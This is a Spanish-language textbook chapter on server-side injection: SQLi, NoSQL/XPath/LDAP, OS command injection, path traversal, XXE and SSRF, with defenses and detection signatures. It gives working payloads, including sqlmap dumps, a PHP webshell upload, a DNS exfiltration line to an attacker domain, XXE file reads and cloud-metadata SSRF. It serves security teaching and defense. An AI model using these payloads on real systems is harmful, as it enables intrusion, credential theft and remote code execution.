Panorama#

Bajo la variedad aparente de la inyección web hay una sola idea. Un intérprete —el motor SQL, el shell del sistema operativo, el parser de XML, el resolvedor de rutas del filesystem, el servidor SMTP— procesa una mezcla de dos cosas: las instrucciones que escribió el programador y los datos que aporta el usuario. Mientras los datos se queden en su contexto de datos, todo funciona. La inyección es el acto de romper ese contexto: con la sintaxis especial del lenguaje del intérprete, el input del atacante escapa del lugar donde debía ser un valor inerte y pasa a interpretarse como instrucción. A partir de ahí, el atacante no manipula el dato: reescribe la orden.

La consecuencia estructural es la que hace a esta familia tan grave. La aplicación web actúa como el control de acceso de sus componentes back-end, y los accede con un único nivel de privilegio —una cuenta de base de datos, el contexto del proceso del servidor web, un usuario de sistema—. Una inyección que altera la instrucción que la aplicación envía a ese componente no burla un control puntual: burla el modelo de acceso entero de la capa de aplicación de un solo golpe. Un WHERE reescrito devuelve datos que ninguna pantalla debía mostrar; un comando de shell inyectado corre con los permisos del servidor web; una entidad XML externa lee cualquier archivo que el proceso pueda abrir.

Este capítulo recorre la familia server-side ordenada por el intérprete que se ataca —no por la herramienta—, porque el intérprete es lo que determina la sintaxis del escape y, sobre todo, la forma de la defensa. Empieza por el arquetipo, la inyección SQL, donde todos los patrones (detección, extracción, explotación ciega, escalada, evasión de filtros) aparecen por primera vez y con más profundidad. Sigue con sus primas de otras bases de consulta (NoSQL, XPath, LDAP), la inyección de comandos de sistema operativo, el recorrido del filesystem (path traversal, LFI, RFI), el XXE en detalle, y las inyecciones que abusan de los requests que el servidor hace hacia atrás (SSRF, parameter pollution, SOAP, mail). Y cierra con la lección que las une: existe un solo patrón de defensa completo, y es siempre el mismo —separar el código de los datos—, declinado según cada intérprete. Todo esto se apoya en el mapa de la superficie de ataque que arma la 3.1 · Metodología: cada parámetro, cookie o cabecera es un punto de entrada a probar.

flowchart TD
  IN["Input del usuario\n(parámetro / cookie / header / body)"] --> CTX{"¿A qué intérprete\nllega el dato?"}
  CTX -->|"motor SQL"| SQL["SQL injection\n(3.2 · núcleo)"]
  CTX -->|"shell del OS"| CMD["OS command injection"]
  CTX -->|"filesystem"| TRAV["Path traversal / LFI / RFI"]
  CTX -->|"parser XML"| XXE["XXE"]
  CTX -->|"request back-end"| SSRF["SSRF · HPP · SOAP · mail"]
  SQL --> DEF["Defensa transversal:\nseparar código de datos"]
  CMD --> DEF
  TRAV --> DEF
  XXE --> DEF
  SSRF --> DEF
  DEF -->|"parametrización · APIs seguras ·\nentidades off · egress filtering ·\nmínimo privilegio"| SAFE["La clase entera\nqueda negada"]

Inyección SQL: el arquetipo#

La inyección SQL es el caso canónico porque en él aparecen, por primera vez, todos los movimientos que reaparecen en las demás familias. El ejemplo mínimo es un login: la consulta SELECT * FROM users WHERE username='marcus' AND password='secret' se rompe con un nombre de usuario admin'--, donde la comilla cierra el literal de cadena y el -- comenta el resto de la consulta, eliminando el chequeo de contraseña. La variante ' OR 1=1-- devuelve todos los usuarios, y la mayoría de las aplicaciones procesan el primero —el administrador—. El punto de entrada no es solo el SELECT: un INSERT inyectable crea cuentas con privilegios arbitrarios, y un UPDATE es peligrosísimo, porque un admin' OR 1=1-- inyectado en la cláusula de un UPDATE reescribe la contraseña de todos los usuarios (el 1=1 siempre es verdadero).

Probar una inyección en un sistema en producción puede ser destructivo. Hay aplicaciones que ejecutan un UPDATE con el nombre de usuario tras un login exitoso; el mismo payload que sondea el login puede entonces arrasar una tabla entera. La regla profesional —de la metodología— es respaldo y consentimiento explícito del dueño antes de sondear escrituras.

Detección: comilla, número, estructura#

La detección es sistemática y cubre tres contextos. En un contexto de cadena, una comilla simple provoca un error o una divergencia; dos comillas juntas ('', que el motor interpreta como una comilla escapada) restauran el comportamiento normal, confirmando la inyección; y una concatenación equivalente a un valor benigno —'||'FOO en Oracle, '+'FOO en MS-SQL, ' 'FOO en MySQL— lo verifica sin disparar el error. En un contexto numérico, donde el dato no va entre comillas, se usa una expresión equivalente: 67-ASCII('A') da 2 y confirma que el motor está evaluando el input como código. Y en el tercer contexto, la estructura de la consulta, el input cae en un ORDER BY o en un nombre de columna, donde no hace falta ninguna comilla porque el valor ya forma parte de la sintaxis: 1 ASC/1 DESC lo confirma. Este último caso importa porque no se cura con consultas parametrizadas —los nombres de columna y las palabras clave no son parametrizables—, y por eso sigue vivo en aplicaciones modernas por lo demás bien escritas.

Extracción: UNION cuando vuelven resultados#

Cuando la aplicación devuelve los resultados de la consulta en la respuesta, la vía más rápida es UNION SELECT, que combina una segunda consulta con la primera. Tiene dos requisitos: el mismo número de columnas y tipos compatibles. El valor NULL se convierte a cualquier tipo, así que se prueba ' UNION SELECT NULL--, luego NULL,NULL--, incrementando hasta que la consulta se ejecuta —eso revela el número de columnas—; después se reemplaza cada NULL por 'a' para hallar cuál acepta cadenas. (En Oracle todo SELECT exige un FROM, de ahí FROM DUAL.) Con eso resuelto, falta conocer los nombres de tabla y columna: los aporta el metadato del propio motor, information_schema.columns (MS-SQL, MySQL, Postgres, SQLite) o all_tab_columns (Oracle), donde se puede buscar directamente por nombre de columna interesante (WHERE column_name LIKE '%PASS%') y concatenar table_name||':'||column_name para devolverlo todo en un único campo de texto.

Explotación ciega: inferencia, error, tiempo#

Cuando la consulta se ejecuta pero sus resultados no vuelven en la respuesta, hay una escalera de cuatro técnicas, de la más cómoda a la más lenta:

  1. Recuperar como número. ASCII(SUBSTRING('Admin',1,1)) devuelve el carácter en forma numérica, byte a byte, si algún valor numérico sí se refleja.
  2. Inferencia por respuesta condicional. admin' AND 1=1-- y admin' AND 1=2-- producen respuestas distintas; sobre esa diferencia, admin' AND ASCII(SUBSTRING('Admin',1,1))=65-- extrae cada byte por bisección.
  3. Error condicional (la técnica de Litchfield). Cuando nada visible cambia, se induce un error contingente: SELECT 1/0 FROM dual WHERE (SELECT ...)='X' — el motor solo evalúa la división por cero si la condición es verdadera, así que un HTTP 500 señala «condición cierta».
  4. Retardo temporal. El último recurso, y también la forma más fiable de detectar una inyección ciega total: if ASCII(SUBSTRING(...))=65 waitfor delay '0:0:5' en MS-SQL, sleep()/benchmark() en MySQL, PG_SLEEP en Postgres. Extrae datos aun sin ninguna diferencia observable salvo el tiempo de respuesta.
flowchart TD
  START["SQLi confirmada"] --> Q1{"¿Vuelven los\nresultados?"}
  Q1 -->|"sí"| UNION["UNION SELECT\n+ information_schema"]
  Q1 -->|"no"| Q2{"¿Respuesta\ncondicional distinta?"}
  Q2 -->|"sí (contenido)"| INF["Inferencia booleana\nASCII/SUBSTRING"]
  Q2 -->|"sí (error 500)"| ERR["Error condicional\n1/0 (Litchfield)"]
  Q2 -->|"no"| TIME["Time delay\nWAITFOR / sleep()"]
  UNION --> ESC["Escalada a DB / OS"]
  INF --> ESC
  ERR --> ESC
  TIME --> ESC
  ESC --> OOB["Canal out-of-band\n(DNS / HTTP / OUTFILE)"]

Escalada al motor y al sistema operativo#

Una inyección SQL rara vez termina en la lectura de una tabla. En MS-SQL, el procedimiento extendido xp_cmdshell ejecuta comandos del sistema operativo como LocalSystem —el motor corre por defecto con ese privilegio—, y si estaba deshabilitado se re-habilita con sp_configure. En Oracle, DBMS_JAVA.RUNJAVA da ejecución de comandos y UTL_FILE toca el filesystem. En MySQL, LOAD_FILE('/etc/passwd') lee archivos e INTO OUTFILE los escribe (incluso a una ruta UNC hacia un recurso SMB del atacante). Y cuando ni siquiera la respuesta ni el tiempo sirven para exfiltrar, se abre un canal out-of-band: una conexión de red desde la propia base de datos de vuelta hacia el atacante. La más confiable es por DNS —Oracle UTL_INADDR.GET_HOST_NAME((SELECT password...)||'.atacante.net')— porque el tráfico DNS suele salir de las redes corporativas aun cuando el HTTP está filtrado.

Bypass de filtros y second-order#

Los filtros de entrada se esquivan de muchas formas, todas derivadas del mismo principio de que hay más de una manera de expresar el mismo token: construir cadenas con CHR()/CHAR() cuando la comilla está bloqueada; balancear comillas con ' OR 'a'='a cuando el comentario -- está bloqueado; variar el case (SeLeCt) o explotar filtros no recursivos (SELSELECTECT, que al eliminar el SELECT interno reconstituye la palabra); codificar en URL o doble-URL; usar comentarios inline como separadores (SELECT/**/username). Y el caso más sutil, la inyección de segundo orden: un dato que se escapa correctamente al insertarse (O''Reilly) pero se lee después sin re-escapar y se reinyecta en otra consulta. Registrar el nombre de usuario ' OR 1 IN (SELECT password FROM users WHERE username='admin')-- pasa el INSERT seguro y dispara la inyección cuando ese valor almacenado se usa en una consulta posterior —un fallo que la validación en el punto de entrada no detecta y que solo se cierra con parametrización en cada consulta—.

SQLMap: la industrialización#

Todo lo anterior se automatiza con SQLMap, el motor de detección y explotación que soporta una docena de bases de datos. El flujo operativo empieza donde termina el sondeo manual —una comilla que rompe la consulta— y se apoya en -u para la URL, -p para forzar el parámetro y --technique para elegir la vía (B boolean-blind, E error, U UNION, S stacked, T time, Q inline) cuando la detección automática falla. La extracción es una jerarquía de menor a mayor granularidad: --current-user--dbs-D <base> --tables--columns-C "col1,col2" --dump, evitando el --dump-all que es lento y disruptivo. Para las inyecciones ciegas —mucho más lentas— hay optimizaciones concretas: --threads (multihilo), --null-connection (distingue verdadero de falso por el largo de la respuesta sin traer el cuerpo entero), --keep-alive y --predict-output (predice nombres de columna comunes con datasets precompilados).

# Detección y volcado dirigido (evitando --dump-all, ruidoso) sqlmap -u "http://app/item?id=2" -p id --dbs sqlmap -u "http://app/item?id=2" -D tienda -T users -C "username,password" --dump # Escalada: si el usuario de DB tiene privilegio FILE → webshell y RCE sqlmap -u "http://app/item?id=1" --privileges sqlmap -u "http://app/item?id=1" --file-write=shell.php --file-dest=/var/www/shell.php # <?php system($_GET[1337]); ?> sqlmap -u "http://app/item?id=1" --os-shell # shell interactiva (MS-SQL: vía xp_cmdshell) # POST y portal autenticado sqlmap -r request.txt -p uname # request crudo desde archivo (POST / SOAP / JSON) sqlmap --cookie="PHPSESSID=..." -u "http://app/portal/names?id=1"

Cuando el usuario de base de datos tiene el privilegio FILE, SQLMap lo convierte en ejecución de comandos: --file-write sube un webshell PHP de una línea (<?php system($_GET[1337]); ?>) al document root, y --os-shell automatiza el stager de reverse shell. Frente a un WAF, los tamper scripts (--tamper) transforman el payload para esquivar el filtro: reemplazan el espacio por comentarios (space2comment), cambian el case (randomcase), codifican en unicode (charunicodeencode) o usan comentarios versionados de MySQL (modsecurityversioned). Son la prueba operativa de que el filtrado de firmas nunca es una defensa completa —solo una capa que se evade transformando la forma sin cambiar el fondo—.

NoSQL, XPath y LDAP: el mismo patrón, otra sintaxis#

El arquetipo SQL se repite en toda base que interprete una consulta. En NoSQL/MongoDB, cuando la consulta se arma concatenando en JavaScript, un valor Marcus'// comenta el resto (el // de JS) o a' || 1==1 || 'a'=='a fuerza el verdadero. En XPath, la consulta //user[name='x' and password='y'] se subvierte con una contraseña ' or 'a'='a que devuelve todos los nodos, y se extrae byte a byte con substring(password,1,1)='M'; incluso a ciegas, sin conocer la estructura, name(parent::*[position()=1]) la reconstruye. En LDAP el ataque es más limitado —el operador va antes del input, sin equivalente al OR 1=1—, pero un comodín * en un filtro disyuntivo lo abre todo, y en uno conyuntivo se puede inyectar un segundo filtro (*))(&(...) o truncar con un NULL byte (*))%00). El patrón defensivo también es común: donde no hay parametrización, whitelist estricto de los metacaracteres del lenguaje.

Inyección de comandos de sistema operativo#

Cuando la aplicación pasa input a una función que invoca el shell —exec, system, Process.Start con cmd /c—, los metacaracteres de shell inyectan un segundo comando que corre en el contexto del proceso del servidor web. El pipe |, el ; o el newline encadenan comandos; el backtick los encapsula; en Windows && corre el segundo solo si el primero tuvo éxito y || siempre. Es especialmente prevalente en las interfaces de administración de dispositivos embebidos (routers, firewalls, impresoras). Cuando los resultados no vuelven, la detección fiable es —igual que en la SQLi ciega— el retardo temporal: una cadena universal como || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & induce treinta segundos de demora en cualquier plataforma. Confirmada la inyección, se exfiltra por canal out-of-band (subir herramientas con TFTP, abrir una reverse shell con netcat) o redirigiendo la salida al web root (dir > c:\inetpub\wwwroot\foo.txt). Aun sin poder inyectar un comando entero, se puede abusar del existente: redirigir con > para escribir un backdoor, o agregar flags. La reverse shell resultante es la puerta a la escalada de privilegios y, con un canal estable, al C2.

Path traversal, LFI y RFI#

Cuando la aplicación construye una ruta de archivo con input del usuario (GetFile?filename=foto.jpg/filestore/foto.jpg), las secuencias ../ (dot-dot-slash) suben de directorio y dan lectura —y a veces escritura— de archivos arbitrarios: ../../../../etc/passwd, ..\windows\win.ini. La prueba metódica empieza sin salir del directorio (foo/bar/../file.txt, que la canonicalización cancela a foo/file.txt) para confirmar que el input llega a la ruta, y después escala saliendo con muchas secuencias. Los filtros anti-traversal se esquivan con la misma lógica de «otra forma del mismo token»: codificación URL de puntos y barras (%2e, %2f), unicode (%u002e), doble codificación (%252e), UTF-8 sobrelargo (%c0%af, aceptado por muchos decodificadores de Windows), secuencias anidadas (....//, que al eliminar el ../ interno reconstituye una), y el NULL byte (../../boot.ini%00.jpg) contra un filtro de extensión que ve .jpg mientras la API nativa trunca en el %00.

La inclusión de archivos eleva la lectura a ejecución. La remote file inclusion (RFI) —PHP include($x.'.php') que acepta una URL— hace que el servidor descargue y ejecute el script del atacante: ejecución remota directa. La local file inclusion (LFI) incluye un recurso local protegido, exponiendo funciones o estáticos que el control de acceso debía bloquear. Ambas alimentan el resto de la familia: los archivos de configuración leídos por traversal o LFI contienen las credenciales de base de datos que abren la SQLi de la sección anterior y la autenticación del capítulo siguiente.

XXE: el parser de XML como intérprete#

Un documento XML puede declarar entidades, y las externas son el motor del ataque. Una entidad externa <!ENTITY xxe SYSTEM "URI"> instruye al parser para que, apenas la lea, resuelva el URI —descargue el recurso— y lo sustituya donde la entidad se referencie. Si el atacante controla el XML que se parsea, controla ese URI. El uso más directo es la lectura de archivos con el handler file://:

<!-- Lectura de archivo local; &xxe; se refleja en un elemento que vuelve en la respuesta --> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <student><name>&xxe;</name></student> <!-- Si el contenido rompe el XML (< o &): wrapper base64 de PHP --> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Cuando el archivo tiene caracteres que romperían la sintaxis XML, el wrapper php://filter/convert.base64-encode lo devuelve en base64, seguro para incrustar. Apuntando la entidad a un URI http:// en vez de file://, el parser hace la conexión desde el servidor —eso es SSRF vía XXE—, con el que se puede escanear puertos internos por la diferencia entre el error de un puerto abierto (fallo de request HTTP, a veces con el banner del servicio) y el de uno cerrado (fallo de conexión). Si el wrapper expect:// está habilitado en PHP, expect://id ejecuta comandos: XXE escalado a RCE. Y como el parser leerá cualquier archivo que se le indique, apuntarlo a file:///dev/random lo cuelga indefinidamente: un DoS.

Los ataques de agotamiento por entidades cierran el cuadro. El clásico billion laughs —una entidad anidada recursivamente diez niveles, que se expande a mil millones de referencias con un documento diminuto— está muerto: los parsers modernos detectan el anidamiento y frenan. Su sucesor vivo es el quadratic blowup: declara una sola entidad grande (decenas de miles de bytes) y la referencia miles de veces sin anidar (<x>&e;&e;&e;...</x>), logrando la misma expansión cuadrática pero evadiendo el detector de anidamiento. El caso real fue WordPress ≤ 3.9 en su endpoint xmlrpc.php. El XXE aparece, además, en lugares no obvios: cualquier endpoint que parsee XML controlable —SOAP, XML-RPC, sitemaps, SAML, y los formatos ofimáticos DOCX/XLSX/SVG que son ZIP+XML—, un terreno que la inyección web moderna retoma junto con el metadato de la nube (http://169.254.169.254/).

SSRF y las inyecciones en requests back-end#

La última rama abusa de los requests que el propio servidor hace hacia atrás. La SSRF (server-side request forgery) aparece cuando un parámetro que el servidor descarga es un hostname o URL controlable: cambiarlo (loc=192.168.0.1:22) convierte la aplicación en un proxy abierto con el que alcanzar hosts internos no ruteables, conectar a servicios en el loopback del propio servidor —saltando el firewall perimetral y las relaciones de confianza—, o leer banners internos que aparecen reflejados en la respuesta. Es una de las clases más peligrosas en entornos cloud, donde el endpoint de metadatos (169.254.169.254) entrega credenciales temporales de la instancia.

Las inyecciones en parámetros del request back-end completan la rama. La HTTP Parameter Injection codifica un &/= para inyectar un parámetro nuevo en el request que el servidor arma hacia atrás (ToAccount=08447656%26clearedfunds%3dtrue), saltando un chequeo de negocio. La HTTP Parameter Pollution explota que la especificación HTTP no define qué pasa con parámetros duplicados —unos servidores usan el primero, otros el último, otros los concatenan—: una segunda instancia del mismo parámetro pisa el valor original, y un WAF y la aplicación pueden discrepar en cuál eligen. La inyección SOAP rompe el mensaje XML entre componentes con metacaracteres (</Amount><ClearedFunds>True</ClearedFunds>), un fraude de lógica de negocio. Y la inyección de mail genera correos arbitrarios: manipulación de cabeceras (%0aBcc:) o inyección de comandos SMTP (%0d%0a...MAIL FROM), sobre las funciones de feedback que suelen ser periféricas y menos auditadas.

Defensa transversal: separar código de datos#

Toda esta familia tiene una sola defensa completa, y es siempre la misma idea declinada según el intérprete: separar la estructura del código de los datos, de modo que ningún dato pueda reinterpretarse como instrucción. Los filtros de entrada, el escape de caracteres y las listas negras son parciales por diseño —siempre hay «otra forma del mismo token», como demuestran los tamper scripts—; la solución correcta niega la clase entera en el punto donde el dato entra al intérprete.

IntérpreteDefensa que niega la clasePor qué es completa
SQLConsultas parametrizadas (estructura fijada, luego el dato), en cada consulta y cada parámetroEl dato del paso 2 no puede alterar la estructura del paso 1
SQL (nombres/keywords)Whitelist estricto (no parametrizable) + cuenta de DB de mínimo privilegioCierra el ORDER BY y limita el impacto residual
Shell del OSAPIs con argumentos (exec(cmd, args)), no un command stringEl metacarácter nunca llega a un shell
FilesystemCanonicalizar y verificar que el resultado empieza en el directorio esperado; índice en vez de nombreEl ../ no escapa del sandbox
Parser XMLDeshabilitar entidades externas y DTD (disallow-doctype-decl, XmlResolver=null)No hay resolución de URI que abusar
Request back-end (SSRF)Whitelist de destinos + bloqueo de rangos internos/loopback/metadata + egress filteringEl servidor no puede alcanzar lo interno

Sobre esa base, la defensa en profundidad reduce el daño de cualquier fallo residual: la aplicación accede a la base de datos con una cuenta de mínimo privilegio (nunca FILE, nunca DBA), el proceso del servidor web no puede leer configuraciones sensibles ni abrir conexiones salientes arbitrarias, y las funcionalidades peligrosas por defecto (xp_cmdshell, UTL_HTTP, expect://) se deshabilitan. Con esto, incluso una inyección que logra ejecutar no logra escalar.

Detección: la inyección deja firma#

Cuando la prevención falla, la telemetría atrapa la inyección —y es la misma lógica de correlación de 4.9 · Defensa de AD, aplicada a la capa web—. Cada clase deja un rastro característico:

  • En los logs de acceso (WAF/proxy/servidor web) aparecen los payloads en la query o el cuerpo: UNION SELECT, ' OR 1=1, WAITFOR DELAY, xp_cmdshell, information_schema, secuencias ../ y %c0%af, entidades <!ENTITY. El DECLARE @S NVARCHAR(4000)...EXEC(@S) en el cs-uri-query de IIS es la firma clásica de un ataque SQLi masivo, cazable con análisis de logs (materia de la Parte 5).
  • El proceso del servidor web como padre de un proceso anómalow3wp.exe o httpd engendrando cmd.exe o /bin/sh— es la firma inequívoca del command injection, el webshell y el --os-shell de SQLMap (Event ID 4688 con línea de comandos, Sysmon 1).
  • Conexiones salientes desde el servidor de aplicación hacia rangos internos, el loopback, 169.254.169.254 o un host externo controlado delatan SSRF, RFI, el canal out-of-band de la SQLi y la exfiltración por DNS.
  • Anomalías de tiempo y error: latencias repetidas y regulares (inyección time-based), ráfagas de HTTP 500 (error-based), o el User-Agent sqlmap sin --random-agent.

El emparejamiento púrpura es limpio: el atacante inyecta y usa el servidor como proxy o backdoor para evadir el perímetro; el defensor lo caza por la firma del payload en los logs de acceso y por el proceso hijo anómalo y las conexiones salientes que la escalada genera. La correlación de esas señales a escala de SIEM, y el análisis forense de los logs web, se desarrollan del lado azul en la Parte 5.

Referencias#

  • red-web/wahh/cap-06Attacking Data Stores: la inyección SQL a fondo (detección por contexto, UNION + metadato, las cuatro técnicas ciegas, escalada a OS, bypass de filtros y second-order, prepared statements como única defensa completa) y las variantes NoSQL/XPath/LDAP.
  • red-web/wahh/cap-07Attacking Back-End Components: inyección de comandos de OS, ejecución dinámica, path traversal/LFI/RFI, XXE, inyección SOAP, SSRF, HPI/HPP e inyección de mail; la defensa por APIs seguras y el registro de las secuencias de ataque como IOC.
  • red-web/mmwp/cap-02Exploiting SQL Injection con SQLMap: la operacionalización (técnicas B/E/U/S/T/Q, jerarquía de extracción, optimización de la inyección ciega, FILE→webshell, --os-shell) y los tamper scripts como evasión de WAF.
  • red-web/mmwp/cap-04XML Attacks: el XXE en profundidad (entidades externas, file://, php://filter base64, SSRF vía XXE, expect:// RCE, DoS) y el quadratic blowup (caso WordPress 3.9).
  • OWASP — SQL Injection Prevention, XXE Prevention y SSRF Prevention Cheat Sheets.
  • MITRE — CWE-89 SQL Injection, CWE-78 OS Command Injection, CWE-611 XXE y CWE-918 SSRF.